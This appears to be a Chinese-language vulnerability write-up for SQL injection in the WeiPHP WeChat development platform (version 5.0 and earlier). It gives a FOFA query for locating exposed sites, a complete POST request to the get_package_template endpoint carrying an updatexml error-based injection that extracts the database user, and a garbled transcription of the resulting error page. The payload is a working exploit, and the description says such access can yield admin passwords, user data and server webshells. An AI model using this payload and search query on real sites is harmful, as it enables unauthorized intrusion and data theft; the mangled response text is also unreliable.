# W9-3WeiPHP-微信开发平台-SOL

### 漏洞描述:

weiphp 微信开发平台 send by group、wp where、get package template等接口处存在 <u>SQL</u> 注入漏洞,攻击者利用此漏洞可获取敷据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

weiphp <=5.0

#### 网站图片:



#### 网络测绘:

# fofa语法.

FOFA: app="WeiPHP"

## 漏洞复现:

#### payload:

POST /index.php?s=home/addons/get\_package\_template&is\_stree=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_14\_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Content-Type: Application/x-www-form-urlencoded

Connection: clos

addons[0]=BETWEEN 'a&addons[1][]= AND null or updatexml(1,concat(0x7e,(select user())),1)%23

#### 效果图: 查询当前用户

```
Responses https 2782bytes / 70ms
Request
       \textbf{POST} \cdot / \texttt{index.php?s=} home/addons/get\_package\_template \textbf{\&is\_stree=} 1 \cdot \texttt{HTTP}/1.1
                                                                                                                                  .error .info .title{ margin-bottom: 3px; }
                                                                                                                                 .error .info .title h3{ color: #000; font-
       User-Agent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like-Gecko) Version/12.0.3 Safari/605.1.15
                                                                                                                                 .error .info .text{ line-height: 24px; }
                                                                                                                           31
                                                                                                                                 .copyright{ padding: 12px 48px; color: #99
.copyright a{ color: #000; text-decoration
       Content-Type: application/x-www-form-urlencoded
       Accept-Encoding: gzip
                                                                                                                           33
                                                                                                                                  </style>
       Connection: close
                                                                                                                            34
                                                                                                                                 </head>
                                                                                                                            35 ∨ <body>
       addons[0] = BETWEEN \cdot 'a\&addons[1][] = \cdot AND \cdot null \cdot or \cdot updatexml(1,concat(0x7e,(select \cdot user())),1)\%23
                                                                                                                            36 ∨ <div class="error">
                                                                                                                                 class="face">:(
                                                                                                                           37
                                                                                                                                 <h1>SQLSTATE[HY000]: General error: 1105 X
                                                                                                                           39 V <div class="content">
                                                                                                                                     40 ∨
41 ∨
                                                                                                                           42
                                                                                                                                              <h3>错误位置</h3>
                                                                                                                                          </div>
                                                                                                                           43
                                                                                                                                          <div class="text">
                                                                                                                           45
                                                                                                                                            FILE: C:\wwwroot\linkwe.mst
                                                                                                                                              class.php  LINE: 163</p
                                                                                                                                          </div>
                                                                                                                           47
                                                                                                                                      </div>
                                                                                                                           48 🗸
                                                                                                                                      <div class="info">
                                                                                                                           49 🗸
```